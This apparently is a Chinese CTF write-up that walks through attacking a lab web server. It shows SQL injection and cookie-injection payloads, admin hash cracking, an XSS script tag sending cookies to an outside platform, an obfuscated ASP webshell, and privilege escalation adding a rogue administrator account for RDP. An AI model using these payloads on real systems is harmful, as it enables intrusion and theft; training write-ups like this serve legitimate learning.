flyxg的学习笔记

flyxg   ·   发表于 2018-06-19 22:29:56   ·   CTF&WP专版

1.1

进入后台,发现地址为:http://120.203.13.111:6815/?id=1 ,携带get 参数id=1,更改id数,发现返回不同的结果,由此猜测是sql 查询,后面拼接 and 1=1,发现返回的页面还是原来的,拼接 and 1=2,无结果返回

我们首先使用order by 猜注入点 ,先是order by 10,发现报错,然后使用二分法,一直到order by 2时,返回的页面为这个:

那么基本确定注入点为2.查出有多少个字段

```

and 1=2 UNION SELECT 1,version()

```

确定数据库版本为mysql 5.5.53

 

 and 1=2 UNION SELECT 1,database()爆出数据库名


后面拼接  and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()

猜测查询密码 and 1=2 UNION SELECT 1,password from admin

这里也可以直接使用sqlmap进行注入,下载地址:http://sqlmap.org/,运行>python sqlmap.py -u "http://120.203.13.111:6815/?id=1" --current-db  #查询web 当前使用的数据库,



1.2

点入后台地址,

发现后面也携带id参数,请求不同的id参数,返回不同的页面,同样的,我们也后面拼接and 1=1 sql,出现页面做了拦截,这里我们测试一下当前库的参数,后面拼接

这里查询当前表有10个字段,页面返回正常,

http://120.203.13.111:8001/shownews.asp?id=171 order by 10

我们继续拼接查询语句,通过from,看页面返回是否正常来猜测有没有admin这个表,之前看表对sql 查询访问有注入防护,经测试只要url出现select(查询)关键字,就会被拦截

这里我们尝试使用cookie 注入,

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

发现页面回显了2、3、7、8、9

没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password

比如2和3:

1id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c


这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。字母+数字的16位组合,很像md5的特征。

打开cmd5.com(解密站点)

将b9a2a2b5dffb918c 到:http://www.cmd5.com/ 进行解密。


发现密码的明文是welcome。

这个站貌似是南方的CMS,默认管理员后台是根目录的/admin/。

我们尝试打开后台:

1http://120.203.13.111:8001/admin/

出现管理员登录页面,输入用户名admin、密码welcome,填写验证码。


1.3

访问假后台地址:http://120.203.13.111:8001/admin123,输入之前的用户名密码,admin:welcome,进入页面提示,不允许外部地址访问,这里我们可以更改来源地址,Host,Referer,使用开Chrome浏览器,使用ModHeader插件,将Host设置为127.0.0.1,Refere设置为http://127.0.0.1/admin123.

,刷新访问



1.4

XSS又叫CSS  (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

可以分成三类

反射型:经过后端,不经过数据库

存储型:经过后端,经过数据库

DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。

这里我们根据网页输入,注入<script>alert('test')</script>

刷新出现弹框,检查网页内容,,主题处有脚本,这里我们用网上的xss平台:http://xsspt.com

注册使用,

<script src=http://xsspt.com/ZqhvjD?1529474416></script>

然后返回XSS平台看到了有内容了。点击内容名称。

然后展开每一个看看,成功获取了flag


1.5

通过xss 平台,我们已经获取到了cookie 值,访问http://120.203.13.111:8002/admin/default.asp

修改cookie 为

ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC

刷新访问,或者直接用ModHeader插件

上传一句话木马 

cat f1.cer
<%eval request ("pass")%> 

// 密码是pass eval是个函数,request是接受参数的。
// 文件类型支持gif|jpg|bmp|png|swf|doc|rar|cer 这里选择cer 格式,发现上传不上去
这里换用一个方式,定义中间变量的方式上传
# 编辑f1.cer

<%
dim play
'
'
''''''''''''''''''
'''''''''
play = request("pass")
%>
Error
<%
execute(play)
%>

上传成功,使用chobber 菜刀,

注入成功


进入根目录

PS  我因为自己的图标 和根目录上的图标不一致  就没找出来 一度怀疑智商


1.6

鼠标右键 上传 cmd和iis6

对着cmd右键虚拟终端

输入whoami

证明已经进入到了 对方的cmd


下面的任务  创建账号 ,远程端口  然后提权


创建账号

E:5\UploadFiles\> cd..

E:5\> E:\RECYCLER\iis6.exe "whoami"


提权


E:5\> E:\RECYCLER\iis6.exe "net user testsou 123456 /add"

创建账号成功




3389 端口


命令tasklist –svc  

Termsrvice→远程桌面的服务名  pid服务名  留意



命令netstat-ano

pid 服务名 相同

 

找到了3389 路径



提权管理员用户组

net localgroup administrators



E:5\>  E:\RECYCLER\iis6.exe "Net localgroup administrators testsou /add


net localgroup administrators



点击win   点击运行  输入mstsc

链接

登入成功

打赏我,让我更有动力~

0 条回复   |  直到 2018-6-19 | 1372 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.